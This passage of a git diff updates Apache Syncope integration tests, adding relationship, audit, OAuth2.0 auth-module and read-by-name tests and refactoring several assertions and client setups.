org.apache.syncope.common.lib.request.AnyObjectCR; import org.apache.syncope.common.lib.request.AnyObjectUR; +import org.apache.syncope.common.lib.request.RelationshipUR; import org.apache.syncope.common.lib.request.StringPatchItem; import org.apache.syncope.common.lib.to.AnyObjectTO; import org.apache.syncope.common.lib.to.ConnObject; -import org.apache.syncope.common.lib.to.MembershipTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.to.RelationshipTO; import org.apache.syncope.common.lib.types.AnyTypeKind; @@ -75,27 +76,6 @@ public void create() { connObjectTO.getAttr("LOCATION").get().getValues()); } - @Test - public void createInvalidMembership() { - // 1. create anyObject in realm /odd and attempt to assign group 15, from realm /even => exception - AnyObjectCR anyObjectCR = getSample("createInvalidMembership"); - anyObjectCR.setRealm("/odd"); - anyObjectCR.getMemberships().add(new MembershipTO.Builder("034740a9-fa10-453b-af37-dc7897e98fb1").build()); - - try { - createAnyObject(anyObjectCR); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.InvalidMembership, e.getType()); - } - - // 2. change anyObject's realm to /even/two, now it works - anyObjectCR.setRealm("/even/two"); - - AnyObjectTO anyObjectTO = createAnyObject(anyObjectCR).getEntity(); - assertNotNull(anyObjectTO.getMembership("034740a9-fa10-453b-af37-dc7897e98fb1")); - } - @Test public void delete() { try { @@ -139,6 +119,12 @@ public void read() { assertFalse(anyObjectTO.getPlainAttrs().isEmpty()); } + @Test + public void readByName() { + AnyObjectTO anyObjectTO = ANY_OBJECT_SERVICE.read(PRINTER, "HP LJ 1300n"); + assertEquals("fc6dbc3a-6c07-4965-8781-921e7401a4a5", anyObjectTO.getKey()); + } + @Test public void update() { AnyObjectCR anyObjectCR = getSample("update"); @@ -199,10 +185,35 @@ public void deleteAttr() { } } + @Test + public void unlimitedRelationships() { + AnyObjectCR anyObjectCR = getSample("unlimited1"); + anyObjectCR.setRealm("/even/two"); + anyObjectCR.getResources().clear(); + AnyObjectTO left = createAnyObject(anyObjectCR).getEntity(); + + anyObjectCR = getSample("unlimited2"); + anyObjectCR.setRealm(SyncopeConstants.ROOT_REALM); + anyObjectCR.getResources().clear(); + anyObjectCR.getRelationships().add(new RelationshipTO.Builder("neighborhood"). + otherEnd(left.getType(), left.getKey()).build()); + AnyObjectTO right = createAnyObject(anyObjectCR).getEntity(); + + assertEquals(1, right.getRelationships().size()); + assertEquals(left.getKey(), right.getRelationships().get(0).getOtherEndKey()); + + AnyObjectUR anyObjectUR = new AnyObjectUR.Builder(left.getKey()). + relationship(new RelationshipUR.Builder(new RelationshipTO.Builder("neighborhood"). + otherEnd(right.getType(), right.getKey()).build()).build()).build(); + left = updateAnyObject(anyObjectUR).getEntity(); + assertEquals(2, left.getRelationships().size()); + assertTrue(left.getRelationships().stream().anyMatch(r -> right.getKey().equals(r.getOtherEndKey()))); + } + @Test public void issueSYNCOPE756() { AnyObjectCR anyObjectCR = getSample("issueSYNCOPE756"); - anyObjectCR.getRelationships().add(new RelationshipTO.Builder().otherEnd( + anyObjectCR.getRelationships().add(new RelationshipTO.Builder("neighborhood").otherEnd( AnyTypeKind.USER.name(), "1417acbe-cbf6-4277-9372-e75e04f97000").build()); try { @@ -243,4 +254,79 @@ public void issueSYNCOPE1472() { assertFalse(printer.getResources().contains(RESOURCE_NAME_DBSCRIPTED), "Should not contain removed resources"); assertFalse(printer.getAuxClasses().contains("csv"), "Should not contain removed auxiliary classes"); } + + @Test + public void issueSYNCOPE1686() { + // Create printers + AnyObjectCR printer1CR = getSample("printer1"); + printer1CR.getResources().clear(); + String key1 = createAnyObject(printer1CR).getEntity().getKey(); + + AnyObjectCR printer2CR = getSample("printer2"); + printer2CR.getResources().clear(); + String key2 = createAnyObject(printer2CR).getEntity().getKey(); + + AnyObjectCR printer3CR = getSample("printer3"); + printer3CR.getResources().clear(); + String key3 = createAnyObject(printer3CR).getEntity().getKey(); + + // Add relationships: printer1 -> printer2 and printer2 -> printer3 + AnyObjectUR relationship1To2 = new AnyObjectUR.Builder(key1) + .relationship(new RelationshipUR.Builder( + new RelationshipTO.Builder("neighborhood").otherEnd(PRINTER, key2).build()).build()) + .build(); + AnyObjectUR relationship2To3 = new AnyObjectUR.Builder(key2) + .relationship(new RelationshipUR.Builder( + new RelationshipTO.Builder("neighborhood").otherEnd(PRINTER, key3).build()).build()) + .build(); + + updateAnyObject(relationship1To2); + updateAnyObject(relationship2To3); + + // Read updated printers + AnyObjectTO printer1 = ANY_OBJECT_SERVICE.read(key1); + AnyObjectTO printer2 = ANY_OBJECT_SERVICE.read(key2); + AnyObjectTO printer3 = ANY_OBJECT_SERVICE.read(key3); + + // Verify relationships for printer1 + assertEquals(1, printer1.getRelationships().size()); + RelationshipTO rel1 = printer1.getRelationships().get(0); + assertEquals(RelationshipTO.End.LEFT, rel1.getEnd()); + assertEquals(printer2.getKey(), rel1.getOtherEndKey()); + assertEquals(printer2.getType(), rel1.getOtherEndType()); + assertEquals(printer2.getName(), rel1.getOtherEndName()); + + // Verify relationships for printer2 + assertEquals(2, printer2.getRelationships().size()); + assertTrue(printer2.getRelationships().stream() + .anyMatch(r -> r.getEnd() == RelationshipTO.End.LEFT + && printer3.getKey().equals(r.getOtherEndKey()) + && printer3.getType().equals(r.getOtherEndType()) + && printer3.getName().equals(r.getOtherEndName()))); + assertTrue(printer2.getRelationships().stream() + .anyMatch(r -> r.getEnd() == RelationshipTO.End.RIGHT + && printer1.getKey().equals(r.getOtherEndKey()) + && printer1.getType().equals(r.getOtherEndType()) + && printer1.getName().equals(r.getOtherEndName()))); + + // Verify relationships for printer3 + assertEquals(1, printer3.getRelationships().size()); + RelationshipTO rel3 = printer3.getRelationships().get(0); + assertEquals(RelationshipTO.End.RIGHT, rel3.getEnd()); + assertEquals(printer2.getKey(), rel3.getOtherEndKey()); + assertEquals(printer2.getType(), rel3.getOtherEndType()); + assertEquals(printer2.getName(), rel3.getOtherEndName()); + + // Test invalid relationship with End.RIGHT + AnyObjectCR printer4CR = getSample("printer4"); + printer4CR.getResources().clear(); + printer4CR.getRelationships().add( + new RelationshipTO.Builder("neighborhood", RelationshipTO.End.RIGHT).otherEnd(PRINTER, key1).build()); + + SyncopeClientException exception = + assertThrows(SyncopeClientException.class, () -> createAnyObject(printer4CR)); + assertEquals(ClientExceptionType.InvalidRelationship, exception.getType()); + assertTrue(exception.getMessage(). + contains("Relationships shall be created or updated only from their left end")); + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AttrRepoITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AttrRepoITCase.java index e00e0927eaf..c7c821a8d28 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AttrRepoITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AttrRepoITCase.java @@ -41,6 +41,7 @@ import org.apache.syncope.common.lib.to.AttrRepoTO; import org.apache.syncope.common.lib.to.Item; import org.apache.syncope.common.lib.types.AttrRepoState; +import org.apache.syncope.common.lib.types.CaseCanonicalizationMode; import org.apache.syncope.common.rest.api.service.AttrRepoService; import org.apache.syncope.fit.AbstractITCase; import org.junit.jupiter.api.Test; @@ -226,7 +227,7 @@ public void updateJDBCAttrRepo() { AttrRepoConf conf = jdbcAttrRepoTO.getConf(); assertNotNull(conf); - JDBCAttrRepoConf.class.cast(conf).setCaseCanonicalization(JDBCAttrRepoConf.CaseCanonicalizationMode.UPPER); + JDBCAttrRepoConf.class.cast(conf).setCaseCanonicalization(CaseCanonicalizationMode.UPPER); newJDBCAttrRepoTO.setConf(conf); // update new attr repo @@ -235,9 +236,7 @@ public void updateJDBCAttrRepo() { assertNotNull(newJDBCAttrRepoTO); conf = newJDBCAttrRepoTO.getConf(); - assertEquals( - JDBCAttrRepoConf.CaseCanonicalizationMode.UPPER, - JDBCAttrRepoConf.class.cast(conf).getCaseCanonicalization()); + assertEquals(CaseCanonicalizationMode.UPPER, JDBCAttrRepoConf.class.cast(conf).getCaseCanonicalization()); } @Test diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuditITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuditITCase.java index c1ad22e1731..98d16803872 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuditITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuditITCase.java @@ -34,7 +34,6 @@ import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; -import java.nio.file.Paths; import java.nio.file.StandardOpenOption; import java.time.OffsetDateTime; import java.util.HashSet; @@ -44,12 +43,16 @@ import java.util.UUID; import java.util.concurrent.TimeUnit; import java.util.function.Function; +import javax.ws.rs.core.Response; +import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.SerializationUtils; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.audit.AuditEntry; import org.apache.syncope.common.lib.audit.EventCategory; +import org.apache.syncope.common.lib.request.AnyObjectUR; import org.apache.syncope.common.lib.request.AttrPatch; import org.apache.syncope.common.lib.request.ResourceDR; import org.apache.syncope.common.lib.request.UserUR; @@ -58,9 +61,11 @@ import org.apache.syncope.common.lib.to.ConnInstanceTO; import org.apache.syncope.common.lib.to.ConnPoolConfTO; import org.apache.syncope.common.lib.to.GroupTO; +import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.to.PullTaskTO; import org.apache.syncope.common.lib.to.PushTaskTO; +import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.common.lib.to.ResourceTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; @@ -68,10 +73,13 @@ import org.apache.syncope.common.lib.types.AuditLoggerName; import org.apache.syncope.common.lib.types.ConnConfProperty; import org.apache.syncope.common.lib.types.ConnectorCapability; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.MatchingRule; import org.apache.syncope.common.lib.types.ResourceDeassociationAction; import org.apache.syncope.common.lib.types.ResourceOperation; import org.apache.syncope.common.lib.types.UnmatchingRule; +import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.beans.AnyQuery; import org.apache.syncope.common.rest.api.beans.AuditQuery; import org.apache.syncope.common.rest.api.beans.ReconQuery; @@ -107,8 +115,7 @@ public void userReadAndSearchYieldsNoAudit() { assertNotNull(userTO.getKey()); AuditQuery query = new AuditQuery.Builder().entityKey(userTO.getKey()).build(); - List entries = query(query, MAX_WAIT_SECONDS); - assertEquals(1, entries.size()); + int entriesBefore = query(query, MAX_WAIT_SECONDS).size(); PagedResult usersTOs = USER_SERVICE.search( new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). @@ -118,8 +125,8 @@ public void userReadAndSearchYieldsNoAudit() { assertNotNull(usersTOs); assertFalse(usersTOs.getResult().isEmpty()); - entries = query(query, MAX_WAIT_SECONDS); - assertEquals(1, entries.size()); + int entriesAfter = query(query, MAX_WAIT_SECONDS).size(); + assertEquals(entriesBefore, entriesAfter); } @Test @@ -178,8 +185,7 @@ public void groupReadAndSearchYieldsNoAudit() { assertNotNull(groupTO.getKey()); AuditQuery query = new AuditQuery.Builder().entityKey(groupTO.getKey()).build(); - List entries = query(query, MAX_WAIT_SECONDS); - assertEquals(1, entries.size()); + int entriesBefore = query(query, MAX_WAIT_SECONDS).size(); PagedResult groups = GROUP_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). fiql(SyncopeClient.getGroupSearchConditionBuilder().is("name").equalTo(groupTO.getName()).query()). @@ -187,8 +193,8 @@ public void groupReadAndSearchYieldsNoAudit() { assertNotNull(groups); assertFalse(groups.getResult().isEmpty()); - entries = query(query, MAX_WAIT_SECONDS); - assertEquals(1, entries.size()); + int entriesAfter = query(query, MAX_WAIT_SECONDS).size(); + assertEquals(entriesBefore, entriesAfter); } @Test @@ -208,8 +214,7 @@ public void anyObjectReadAndSearchYieldsNoAudit() { assertNotNull(anyObjectTO); AuditQuery query = new AuditQuery.Builder().entityKey(anyObjectTO.getKey()).build(); - List entries = query(query, MAX_WAIT_SECONDS); - assertEquals(1, entries.size()); + int entriesBefore = query(query, MAX_WAIT_SECONDS).size(); PagedResult anyObjects = ANY_OBJECT_SERVICE.search( new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). @@ -218,8 +223,8 @@ public void anyObjectReadAndSearchYieldsNoAudit() { assertNotNull(anyObjects); assertFalse(anyObjects.getResult().isEmpty()); - entries = query(query, MAX_WAIT_SECONDS); - assertEquals(1, entries.size()); + int entriesAfter = query(query, MAX_WAIT_SECONDS).size(); + assertEquals(entriesBefore, entriesAfter); } @Test @@ -405,7 +410,7 @@ public void saveAuditEvent() { auditEntry.setOutput(UUID.randomUUID().toString()); assertDoesNotThrow(() -> AUDIT_SERVICE.create(auditEntry)); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -440,7 +445,7 @@ public void saveAuthEvent() { auditEntry.setOutput(UUID.randomUUID().toString()); assertDoesNotThrow(() -> AUDIT_SERVICE.create(auditEntry)); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -466,11 +471,11 @@ public void customAuditAppender() throws IOException, InterruptedException { Properties props = new Properties(); props.load(propStream); - Path auditFilePath = Paths.get(props.getProperty("test.log.dir") + Path auditFilePath = Path.of(props.getProperty("test.log.dir") + File.separator + "audit_for_Master_file.log"); Files.write(auditFilePath, new byte[0], StandardOpenOption.TRUNCATE_EXISTING); - Path auditNoRewriteFilePath = Paths.get(props.getProperty("test.log.dir") + Path auditNoRewriteFilePath = Path.of(props.getProperty("test.log.dir") + File.separator + "audit_for_Master_norewrite_file.log"); Files.write(auditNoRewriteFilePath, new byte[0], StandardOpenOption.TRUNCATE_EXISTING); @@ -596,13 +601,13 @@ public void issueSYNCOPE1446() { @Test public void issueSYNCOPE1695() { // add audit conf for pull - AUDIT_SERVICE.set( - buildAuditConf("syncope.audit.[PULL]:[USER]:[resource-ldap]:[matchingrule_update]:[SUCCESS]", true)); - AUDIT_SERVICE.set( - buildAuditConf("syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_assign]:[SUCCESS]", true)); - AUDIT_SERVICE.set( - buildAuditConf("syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_provision]:[SUCCESS]", - true)); + AUDIT_SERVICE.set(buildAuditConf( + "syncope.audit.[PULL]:[USER]:[resource-ldap]:[matchingrule_update]:[SUCCESS]", true)); + AUDIT_SERVICE.set(buildAuditConf( + "syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_assign]:[SUCCESS]", true)); + AUDIT_SERVICE.set(buildAuditConf( + "syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_provision]:[SUCCESS]", true)); + UserTO pullFromLDAP = null; try { // pull from resource-ldap -> generates an audit entry @@ -622,7 +627,7 @@ public void issueSYNCOPE1695() { build()).getEntity(); // search by empty type and category events and get both events on testfromLDAP - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -630,13 +635,11 @@ public void issueSYNCOPE1695() { } } - assertEquals(2, AUDIT_SERVICE.search(new AuditQuery.Builder(). + assertEquals(1, AUDIT_SERVICE.search(new AuditQuery.Builder(). entityKey(pullFromLDAP.getKey()). page(1). size(10). - events(List.of( - "create", "update", "matchingrule_update", "unmatchingrule_assign", - "unmatchingrule_provision")). + events(List.of("matchingrule_update", "unmatchingrule_assign", "unmatchingrule_provision")). result(AuditElements.Result.SUCCESS). build()).getTotalCount()); } finally { @@ -649,16 +652,56 @@ public void issueSYNCOPE1695() { USER_SERVICE.delete(pullFromLDAP.getKey()); // restore previous audit - AUDIT_SERVICE.set( - buildAuditConf("syncope.audit.[PULL]:[USER]:[resource-ldap]:[matchingrule_update]:[SUCCESS]", - false)); - AUDIT_SERVICE.set( - buildAuditConf("syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_assign]:[SUCCESS]", - false)); AUDIT_SERVICE.set(buildAuditConf( - "syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_provision]:[SUCCESS]", - false)); + "syncope.audit.[PULL]:[USER]:[resource-ldap]:[matchingrule_update]:[SUCCESS]", false)); + AUDIT_SERVICE.set(buildAuditConf( + "syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_assign]:[SUCCESS]", false)); + AUDIT_SERVICE.set(buildAuditConf( + "syncope.audit.[PULL]:[USER]:[resource-ldap]:[unmatchingrule_provision]:[SUCCESS]", false)); } } } + + @Test + public void issueSYNCOPE1791() throws IOException { + ImplementationTO logicActions; + try { + logicActions = IMPLEMENTATION_SERVICE.read( + IdRepoImplementationType.LOGIC_ACTIONS, "CustomAuditLogicActions"); + } catch (SyncopeClientException e) { + logicActions = new ImplementationTO(); + logicActions.setKey("CustomAuditLogicActions"); + logicActions.setEngine(ImplementationEngine.GROOVY); + logicActions.setType(IdRepoImplementationType.LOGIC_ACTIONS); + logicActions.setBody(IOUtils.toString( + getClass().getResourceAsStream("/CustomAuditLogicActions.groovy"), StandardCharsets.UTF_8)); + Response response = IMPLEMENTATION_SERVICE.create(logicActions); + logicActions = IMPLEMENTATION_SERVICE.read( + logicActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + } + assertNotNull(logicActions); + + RealmTO root = getRealm(SyncopeConstants.ROOT_REALM).orElseThrow(); + root.getActions().add(logicActions.getKey()); + REALM_SERVICE.update(root); + + AuditQuery query = new AuditQuery.Builder().type(AuditElements.EventCategoryType.CUSTOM).build(); + int before = query(query, MAX_WAIT_SECONDS).size(); + try { + AUDIT_SERVICE.set(buildAuditConf("syncope.audit.[CUSTOM]:[]:[]:[MY_EVENT]:[SUCCESS]", true)); + + AnyObjectTO printer = createAnyObject(AnyObjectITCase.getSample("syncope-1791")).getEntity(); + updateAnyObject(new AnyObjectUR.Builder(printer.getKey()). + plainAttr(attrAddReplacePatch("location", "new" + getUUIDString())). + build()); + + int after = query(query, MAX_WAIT_SECONDS).size(); + assertEquals(before + 1, after); + } finally { + AUDIT_SERVICE.set(buildAuditConf("syncope.audit.[CUSTOM]:[]:[]:[MY_EVENT]:[SUCCESS]", false)); + + root.getActions().remove(logicActions.getKey()); + REALM_SERVICE.update(root); + } + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthModuleITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthModuleITCase.java index feac556db6d..0476ad323c0 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthModuleITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthModuleITCase.java @@ -27,6 +27,7 @@ import java.io.IOException; import java.util.EnumSet; import java.util.List; +import java.util.Map; import java.util.UUID; import javax.ws.rs.core.Response; import org.apache.commons.lang3.ClassUtils; @@ -39,6 +40,7 @@ import org.apache.syncope.common.lib.auth.JDBCAuthModuleConf; import org.apache.syncope.common.lib.auth.JaasAuthModuleConf; import org.apache.syncope.common.lib.auth.LDAPAuthModuleConf; +import org.apache.syncope.common.lib.auth.OAuth20AuthModuleConf; import org.apache.syncope.common.lib.auth.OIDCAuthModuleConf; import org.apache.syncope.common.lib.auth.SAML2IdPAuthModuleConf; import org.apache.syncope.common.lib.auth.StaticAuthModuleConf; @@ -62,7 +64,8 @@ private enum AuthModuleSupportedType { JAAS, JDBC, U2F, - OIDC; + OIDC, + OAUTH20; }; @@ -90,7 +93,7 @@ private static AuthModuleTO buildAuthModuleTO(final AuthModuleSupportedType type LDAPAuthModuleConf.class.cast(conf).setSearchFilter("cn={user}"); LDAPAuthModuleConf.class.cast(conf).setSubtreeSearch(true); LDAPAuthModuleConf.class.cast(conf).setLdapUrl("ldap://localhost:1389"); - LDAPAuthModuleConf.class.cast(conf).setUserIdAttribute("uid"); + LDAPAuthModuleConf.class.cast(conf).setPrincipalAttributeId("uid"); LDAPAuthModuleConf.class.cast(conf).setBaseDn("cn=Directory Manager,dc=example,dc=org"); LDAPAuthModuleConf.class.cast(conf).setBindCredential("Password"); break; @@ -125,8 +128,6 @@ private static AuthModuleTO buildAuthModuleTO(final AuthModuleSupportedType type conf = new JDBCAuthModuleConf(); JDBCAuthModuleConf.class.cast(conf).setSql("SELECT * FROM table WHERE name=?"); JDBCAuthModuleConf.class.cast(conf).setFieldPassword("password"); - JDBCAuthModuleConf.class.cast(conf).getPrincipalAttributeList().addAll( - List.of("sn", "cn:commonName", "givenName")); break; case OIDC: @@ -138,6 +139,23 @@ private static AuthModuleTO buildAuthModuleTO(final AuthModuleSupportedType type OIDCAuthModuleConf.class.cast(conf).setScope("openid email profile"); break; + case OAUTH20: + conf = new OAuth20AuthModuleConf(); + OAuth20AuthModuleConf.class.cast(conf).setClientId("OAUTH20TestId"); + OAuth20AuthModuleConf.class.cast(conf).setClientSecret("secret"); + OAuth20AuthModuleConf.class.cast(conf).setClientName("oauth20"); + OAuth20AuthModuleConf.class.cast(conf).setEnabled(true); + OAuth20AuthModuleConf.class.cast(conf).setCustomParams(Map.of("param1", "param1")); + OAuth20AuthModuleConf.class.cast(conf).setAuthUrl("https://localhost/oauth2/auth"); + OAuth20AuthModuleConf.class.cast(conf).setProfileUrl("https://localhost/oauth2/profile"); + OAuth20AuthModuleConf.class.cast(conf).setProfilePath("/info"); + OAuth20AuthModuleConf.class.cast(conf).setTokenUrl("https://localhost/oauth2/token"); + OAuth20AuthModuleConf.class.cast(conf).setResponseType("code"); + OAuth20AuthModuleConf.class.cast(conf).setScope("oauth test"); + OAuth20AuthModuleConf.class.cast(conf).setUserIdAttribute("username"); + OAuth20AuthModuleConf.class.cast(conf).setWithState(true); + break; + case SAML2_IDP: conf = new SAML2IdPAuthModuleConf(); SAML2IdPAuthModuleConf.class.cast(conf).setServiceProviderEntityId("testEntityId"); @@ -216,6 +234,9 @@ public void list() { assertTrue(authModuleTOs.stream().anyMatch( authModule -> isSpecificConf(authModule.getConf(), U2FAuthModuleConf.class) && authModule.getKey().equals("DefaultU2FAuthModule"))); + assertTrue(authModuleTOs.stream().anyMatch( + authModule -> isSpecificConf(authModule.getConf(), OAuth20AuthModuleConf.class) + && authModule.getKey().equals("DefaultOAuth20AuthModule"))); } @Test @@ -267,6 +288,16 @@ public void getOIDCAuthModule() { assertFalse(isSpecificConf(authModuleTO.getConf(), SAML2IdPAuthModuleConf.class)); } + @Test + public void getOAuth20AuthModule() { + AuthModuleTO authModuleTO = AUTH_MODULE_SERVICE.read("DefaultOAuth20AuthModule"); + + assertNotNull(authModuleTO); + assertTrue(StringUtils.isNotBlank(authModuleTO.getDescription())); + assertTrue(isSpecificConf(authModuleTO.getConf(), OAuth20AuthModuleConf.class)); + assertFalse(isSpecificConf(authModuleTO.getConf(), SAML2IdPAuthModuleConf.class)); + } + @Test public void getSAML2IdPAuthModule() { AuthModuleTO authModuleTO = AUTH_MODULE_SERVICE.read("DefaultSAML2IdPAuthModule"); @@ -443,6 +474,29 @@ public void updateOIDCAuthModule() { assertEquals("newCode", OIDCAuthModuleConf.class.cast(conf).getResponseType()); } + @Test + public void updateOAuth20AuthModule() { + AuthModuleTO oauth20AuthModuleTO = AUTH_MODULE_SERVICE.read("DefaultOAuth20AuthModule"); + assertNotNull(oauth20AuthModuleTO); + + AuthModuleTO newoauth20AuthModuleTO = buildAuthModuleTO(AuthModuleSupportedType.OAUTH20); + newoauth20AuthModuleTO = createAuthModule(newoauth20AuthModuleTO); + assertNotNull(newoauth20AuthModuleTO); + + AuthModuleConf conf = oauth20AuthModuleTO.getConf(); + assertNotNull(conf); + OAuth20AuthModuleConf.class.cast(conf).setClientName("OAUTH APP"); + newoauth20AuthModuleTO.setConf(conf); + + // update new auth module + AUTH_MODULE_SERVICE.update(newoauth20AuthModuleTO); + newoauth20AuthModuleTO = AUTH_MODULE_SERVICE.read(newoauth20AuthModuleTO.getKey()); + assertNotNull(newoauth20AuthModuleTO); + + conf = newoauth20AuthModuleTO.getConf(); + assertEquals("OAUTH APP", OAuth20AuthModuleConf.class.cast(conf).getClientName()); + } + @Test public void updateJDBCAuthModule() { AuthModuleTO jdbcAuthModuleTO = AUTH_MODULE_SERVICE.read("DefaultJDBCAuthModule"); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthenticationITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthenticationITCase.java index bc343e50a07..0a62834936a 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthenticationITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AuthenticationITCase.java @@ -34,7 +34,6 @@ import javax.ws.rs.core.GenericType; import javax.ws.rs.core.Response; import org.apache.commons.lang3.tuple.Triple; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; import org.apache.syncope.client.lib.BasicAuthenticationHandler; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.SyncopeClientException; @@ -91,17 +90,8 @@ private static int getFailedLogins(final UserService userService, final String u @Test public void readEntitlements() { - // 1. as not authenticated (not allowed) - try { - CLIENT_FACTORY.create().self(); - fail("This should not happen"); - } catch (AccessControlException e) { - assertNotNull(e); - } - - // 2. as anonymous - Triple>, List, UserTO> self = CLIENT_FACTORY.create( - new AnonymousAuthenticationHandler(ANONYMOUS_UNAME, ANONYMOUS_KEY)).self(); + // 1. as anonymous + Triple>, List, UserTO> self = ANONYMOUS_CLIENT.self(); assertEquals(1, self.getLeft().size()); assertTrue(self.getLeft().keySet().contains(IdRepoEntitlement.ANONYMOUS)); assertEquals(List.of(), self.getMiddle()); @@ -109,7 +99,7 @@ public void readEntitlements() { // 3. as admin self = ADMIN_CLIENT.self(); - assertEquals(ADMIN_CLIENT.platform().getEntitlements().size(), self.getLeft().size()); + assertEquals(ANONYMOUS_CLIENT.platform().getEntitlements().size(), self.getLeft().size()); assertFalse(self.getLeft().keySet().contains(IdRepoEntitlement.ANONYMOUS)); assertEquals(List.of(), self.getMiddle()); assertEquals(ADMIN_UNAME, self.getRight().getUsername()); @@ -199,7 +189,7 @@ public void userSearch() { UserService userService2 = CLIENT_FACTORY.create(userTO.getUsername(), "password123"). getService(UserService.class); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -405,8 +395,7 @@ public void checkUserSuspension() { assertNotNull(e); } - StatusR reactivate = new StatusR.Builder().key(userTO.getKey()). - type(StatusRType.REACTIVATE).build(); + StatusR reactivate = new StatusR.Builder(userTO.getKey(), StatusRType.REACTIVATE).build(); userTO = USER_SERVICE.status(reactivate).readEntity(new GenericType>() { }).getEntity(); assertNotNull(userTO); @@ -421,7 +410,7 @@ public void anyTypeEntitlement() { String anyTypeKey = "FOLDER " + getUUIDString(); // 1. no entitlement exists (yet) for the any type to be created - assertFalse(ADMIN_CLIENT.platform().getEntitlements().stream(). + assertFalse(ANONYMOUS_CLIENT.platform().getEntitlements().stream(). anyMatch(entitlement -> entitlement.contains(anyTypeKey))); // 2. create plain schema, any type class and any type @@ -442,7 +431,7 @@ public void anyTypeEntitlement() { ANY_TYPE_SERVICE.create(anyTypeTO); // 2. now entitlement exists for the any type just created - assertTrue(ADMIN_CLIENT.platform().getEntitlements().stream(). + assertTrue(ANONYMOUS_CLIENT.platform().getEntitlements().stream(). anyMatch(entitlement -> entitlement.contains(anyTypeKey))); // 3. attempt to create an instance of the type above: fail because no entitlement was assigned @@ -501,7 +490,7 @@ public void asGroupOwner() { assertEquals(2, member.getMemberships().size()); String memberKey = member.getKey(); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BatchITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BatchITCase.java index 07108a2c7f4..13b83a1809b 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BatchITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BatchITCase.java @@ -28,9 +28,7 @@ import com.fasterxml.jackson.core.type.TypeReference; import java.io.ByteArrayInputStream; import java.io.IOException; -import java.io.InputStream; import java.net.URI; -import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.HashMap; import java.util.List; @@ -41,7 +39,6 @@ import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; -import org.apache.commons.io.IOUtils; import org.apache.cxf.jaxrs.client.Client; import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.lib.batch.BatchRequest; @@ -151,7 +148,7 @@ private static void check(final List resItems) throws IOExcep assertEquals(RESTHeaders.APPLICATION_YAML, resItems.get(0).getHeaders().get(HttpHeaders.CONTENT_TYPE).get(0)); ProvisioningResult user = YAML_MAPPER.readValue( resItems.get(0).getContent(), new TypeReference<>() { - }); + }); assertNotNull(user.getEntity().getKey()); assertEquals(Response.Status.CREATED.getStatusCode(), resItems.get(1).getStatus()); @@ -163,7 +160,7 @@ private static void check(final List resItems) throws IOExcep ProvisioningResult group = 